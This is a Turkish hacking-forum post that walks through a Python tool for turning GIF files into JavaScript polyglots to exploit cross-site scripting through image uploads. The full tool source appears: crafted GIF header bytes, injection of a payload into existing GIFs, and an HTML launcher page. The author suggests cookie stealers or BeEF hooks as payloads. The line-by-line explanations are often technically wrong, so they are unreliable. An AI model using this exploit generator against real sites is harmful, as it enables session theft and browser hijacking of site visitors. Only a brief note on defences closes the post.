xss açığını gif dosyası ile exploit etmek

sm1l3

Yeni üye
26 Kas 2020
10
0
Bu konumda sizlere xss yani cross site scripting açığını bir gif dosyası ile nasıl exploit edebileceğiniz ve bunun arkasındaki neden sonuç ilişkisini anlatacağım.

xss yani cross site scripting açığı owasp top 10 listesinde 7. sırada yer almaktadır

bu yazı ile ilgili bir makale:https://resources.infosecinstitute.com/topic/exploit-xss-image/

NOT: yazımda size tool kullanımını anlatmayacağım tool içerisindeki kodu inceleyerek anlamanızı sağlamaya çalışacağım

İlk başta bir gif dosyasının çalışma prensibini inceleyelim.
Gif dosyaları kendilerine ait bir başlık bilgisine sahiptirler (bizim payloadımızı yerleştireceğimiz kısımda burası) , bu başlık bilgisi 6 byteadan oluşpur ve ascıı karakter kodlaması ile hexadecimal olarak kodlanmıştır.
Bu betiğe imza denir ve tüm gif dosyaları bu betik ile başlar. Dosyanınn 6 byte kadar içerisinde yer kaplar,; ilk 3 byte her zaman "G","I","F" karakterlerini içerir bunun hexadecimal kodlaması da 47 49 46 dır sonraki 3 char ise sürüm beliritri yani 89a veya LIB gibi popüler gif sürümleri içerisinde yazar.


Daha fazla bilgi almak isteyenler gif dosyalarının çalışma prensibi ile ilgili bu makaleyi okuyabilir: What's In A GIF - Bits and Bytes



Şimdi saldırıyı gerçekleştirmek için linkini paylaştığım ilk makalede verilen bir pastebin linki var içerisindeki koda tersine mühendislik yapıp çalışma prensibini anlamaya çalışalım
pastebin linki: https://pastebin.com/6yUbfGX5



kodun ilk satırında import argparse ikinci satırında ise import os komutları yer alıyor.

import python dilinde kütüphaneleri içeri aktarmak için kullanılan bir komuttur

argparse mödülü belli dizilimlerin yazımları ile ilgili bir kütüphane

os mödülü ise işletim sistemi ile ilgili bir kütüphanedir

ardından

def _hexify(num):
"""
Converts and formats to hexadecimal
"""
num = "%x" % num
if len(num) % 2:
num = '0'+num
return num.decode('hex')

şeklinde bir kod bloğu ile karşılaşıyoruz

def pythonda değişken isimi tanımlamak için kullanılan bir komuttur burada _hexify adında bir değişken tanımlayıp içerisine num adında bir fonksiyon eklendiğini görüyoruz



sonra yorum satırı olarak formatları hexadecimal verilere dönüştürür yazdığını görüyoruz

biraz derine inelim


num adında bir değişken tanımlanmış ardından tırnak içine yani string olarak %x verisi tanımlanmış ve bu veri de % ile num fonksiyonu çağırılmış

if ise pythonda eğer koşul gibi işlevleri gören komuttur

türkçeye çevirirsek kod parçasını

eğer uzunluk num fonksiyonu ile 2 string edilirse num değişkeni 0 + num fonksiyonu olarak num fonksiyonu string edilir

ardından return komutu geliyor adından da anlaşılacağı gibi veriyi değişken içerisinde geri döndürür

sonra num.decode('hex')

diye bir komutumuz var bu komut ise verilen num değişkenini hex den stringe donüştürür birazdan anlayacaksınız sebebini


ardından

def _generate_and_write_to_file(payload, fname):
"""
Generates a fake but valid GIF within scriting
"""
f = open(fname, "wb")
header = (b'\x47\x49\x46\x38\x39\x61' #Signature + Version GIF89a
b'\x2F\x2A' #Encoding /* it's a valid Logical Screen Width
b'\x0A\x00' #Smal Logical Screen Height
b'\x00' #GCTF
b'\xFF' #BackgroundColor
b'\x00' #Pixel Ratio
b'\x2C\x00\x00\x00\x00\x2F\x2A\x0A\x00\x00\x02\x00\x3B' #GlobalColorTable + Blocks
b'\x2A\x2F' #Commenting out */
b'\x3D\x31\x3B' # enable the script side by introducing =1;
)
trailer = b'\x3B'
# I made this explicit, step by step .
f.write(header)
f.write(payload)
f.write(trailer)
f.close()
return True

şeklinde uzun bir kod geliyor

bu kod gene bir değişken oluşturuyor _generate_and_write_to_file adında ardından içerisine payload ve fname (filename) şeklinde iki
fonksiyon atanıyor

sonra yorum satırı içince sahte bir gif dosya betiği oluşturulduğu söyleniyor

fname fonksiyonu ile bir dosya açıp binary yazma moduna alınıyor f = open(fname, "wb") bu satırda

sebebi ise hexadecimal verileri yazdıracağımız için

ardından header diye tekil bir değişken tanımlandığını görüyoruz bu kodda hexadecimal veriler var o vakit bunları satır satır decode edelim

(b'\x47\x49\x46\x38\x39\x61' bu satırı zaten hatırlıyoruz bu bizim imzamım G I F 8 9 a şeklinde

b'\x2F\x2A' bu satırda ise /* karakterleri bastırılıyor sebebi ise buradaki verinin onaylı bir başlık verisi olduğunu ve diğer resim dosyasındaki veriler ile karışmamsı için

\x0A\x00 bu satırda ise verisini görüyoruz içerisindeki 00 değişkeni boş 0A ise atlamayı ifade ediyor ekran büyüklüğü ile ilgili verileri içeriyormuş yorum satırına göre

FF ise arkaplan rengini belirtiyor satırı hex to text olarak görüntüleyemiyoruz o yüzden küçük bir araştırma yaptım

rengin kırmızı olduğunu öğrendim

ardından uzun bir blok karşımıza çıkıyor 00 ları attığımızda ,/* ; gibi bir string elde ettim yorum satırında evrensel renk tablosu yazıyor sanırım boşluklar kalan 3 hex stringi için renk kodlamasındaki

sonraki satırda ise çıktıyı yorumluyoruz
ve script i aktif ediyoruz 1 değişkeni ile

sonra bu verileri f.write(header) ile dosyaya yazdrırıyoruz

f dosya açılırken tanımlanan değişken adı header ise bizim hex disinimizin değişken adı

sonra f.close() ile dosyayı kapatıyoruz
ve return True ile yani dönüş=1 şeklinde bir dizin verip bloğu kapıyoruz


ardından bizim alert box çıkartıcak olan kodumuzu yazdırdığımız noktaya geldik


def _generate_launching_page(f):
"""
Creates the HTML launching page
"""
htmlpage ="""
<html>
<head><title>Opening an image</title> </head>
<body>
<img src="""" + f + """_malw.gif"\>
<script src= """" + f + """_malw.gif"> </script>
</body>
</html>
"""
html = open("run.html", "wb")
html.write(htmlpage);
html.close()
return True


kodda gene aynı process yani bir değişken oluşturuluyor ve f adında fonksion belirleniyor bu sefer

sonra bir html sayfası oluşturuluyor

htmlpage değişkeni içerisindeki kodu inceleyelim

kodda
klasik olarak html tagi açılmış

ardından head yani başlık bilgisi title ile belirtilmiş
site başlığında Openin an image yazısı yazacaktır

sonra

body yani kodun gövdesinde
img src kodu verilmiş yani bir kaynaktan resim dosyasının çekmeye yarayan kod parçası

bu kodda ise bu kaynağa bizim f fonksiyonumuz yerleştirilmiş

ve dosya adı malw.gif oalrak sonuna eklenmiş
sonra
bir javascript tagi açılmış ve bu sefer başka bir kaynaktan kod çekmeye yarayan kodumuz (xss saldırı vektörlerinde karşınıza çok çıkar) yer alıyor
ve tagler kapatılıyor
sonra
ise html değişkeni oluşturuluyor ve run.html adında bir dosya açılıyor
ve içerisine bizim html kodumuz yazılıyor
ve kapatılıyor





def _inject_into_file(payload, fname):
"""
Injects the payload into existing GIF
NOTE: if the GIF contains \xFF\x2A and/or \x2A\x5C might caouse issues
"""
# I know, I can do it all in memory and much more fast.
# I wont do it here.
with open(fname + "_malw.gif", "w+b") as fout:
with open(fname, "rt") as fin:
for line in fin:
ls1 = line.replace(b'\x2A\x2F', b'\x00\x00')
ls2 = ls1.replace(b'\x2F\x2A', b'\x00\x00')
fout.write(ls2)
fout.seek(6,0)
fout.write(b'\x2F\x2A') #/*

f = open(fname + "_malw.gif", "a+b") #appending mode
f.write(b'\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.write(b'\x3B')
f.close()
return True

ve artık kodumuzda sona yaklaştık
şimdi ise
gene bir değişken oluşturuluyor ve hexadecimal olarak başlık bilgimiz enjekte ediliyor

bizim gif dosyamız açılıyor
sonra içerisine for döngüsü ile (for pythonda sıralı döngüler oluşturmak için kullanılır)
2 adet hex kodu yazdırılıyor
bu kodların tanımı ise */ yani önceden hatırlıyalım satır atlamak için

sonra ise dosyamımzım içerisine payloadımız yazdırılıyor dosya kapanıyor
ve değişken döndürülüyor



sona yaklaştık
şimdi ise kodda eksik bir şeyler olduğunu fark ediyorum
sanırım girdiler



if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the gif file name to be generated/or infected")
parser.add_argument("js_payload",help="the payload to be injected. For exmample: "alert("test");"")
parser.add_argument("-i", "--inject-to-existing-gif", action="store_true", help="inject into the current gif")
args = parser.parse_args()
print("""
|======================================================================================================|
| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |
| It is the end user's responsibility to obey all applicable local, state and federal laws. |
| Authors assume no liability and are not responsible for any misuse or damage caused by this program |
|======================================================================================================|
"""
)
if args.inject_to_existing_gif:
_inject_into_file(args.js_payload, args.filename)
else:
_generate_and_write_to_file(args.js_payload, args.filename)

_generate_launching_page(args.filename)
print "[+] Finished!"




girdilerimiz de burada



if __name__ == "__main__": bu satır pythonda tüm koddaki değişkenleri tek seferde belli argümanlar ile kullanmak için kullanılır kısaca fonksiyonu çağırır

komutun geri kalanı ise satır satır saldırının gerçekleştirilmesi için gereken tüm girdileri teker teker bize sunuyor


ve kodumuz burada bitti evet şimdi ise daha fazla saldırının nasıl gerçekleştiğini anladık

peki kısa bir özet geçersek ne oluyor:


Biz başlık bilgisindeki verileri kendi javascript kodumuz ile değiştirip exploitimizi oluşturmuş olduk

ardından bu tool bize bir lokal sistemimizde test etmemiz için html kodu sunuyor (mantığını daha iyi kavramak için) (değişken _generate_launching_page(f) )

peki gerçek bir saldırı senaryosu nasıl olurdu

eğer ki bir sitede başlık bilgisi siteye gif dosyamız yüklendiğinde html sayfasına content olark yazdırılıyorsa

o zaman bu açığın olma ihtimali gözümüzün önüne gelmeli

aksi takdirde exploitimiz işe yaramaz

ardından saldırgan başlık bilgisini değiştirir ve sisteme gif dosyasını yükler ve başlık bilgisi ekranda filtresiz şekilde soruce edilir ve bildiğiniz gibi
(değişken _generate_launching_page(f) de anlatıldığı gibi direkt olarak başlık bilgisi js kodu olarak çekilir) veeeee bum
ekrana enjekte ettiğimiz payload çıkar ister alert box ister beef ile hook atın ister cookie stealer ister başka bir şey bu size kalmış tool direkt payloadı istiyor ki bunun için çok daha gelişmiş toolar da mevcut kısa bir araştırma ile bulabilirsiniz makale içerisinde de 2 tane c ile yazılmış tool bulunuyor

kısaca bu saldırı vektörü ve metodoloji genel bakışta çok fazla kişinin göz ardı etme olasılığı olan bir şey olduğunu gösteriyor

bu yüzden değişik exploitler kullanılarak değişik sonuçlar elde edilebilir ve işlevsellik bakımından da yüksek entropiye sahip olduğunu düşünüyorum




ve bizim bu saldırı senaryomuza maruz kalma potansiyeli olan herkes nasıl korunabilir

ekrana gelen girdilerin filtrelenmesi aynı klasik html content injectiondaki gibi

blacklist whitelist değişkenleri konması

ve csrf tokenlerinin aktive edilmesi (bu çok korumaz ancak saldırı da linke tıklatılarak olan sosyal mühendislik saldırılarını bir nebze önler)


Yazım burada bitmiştir sağlıcakla kalın.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.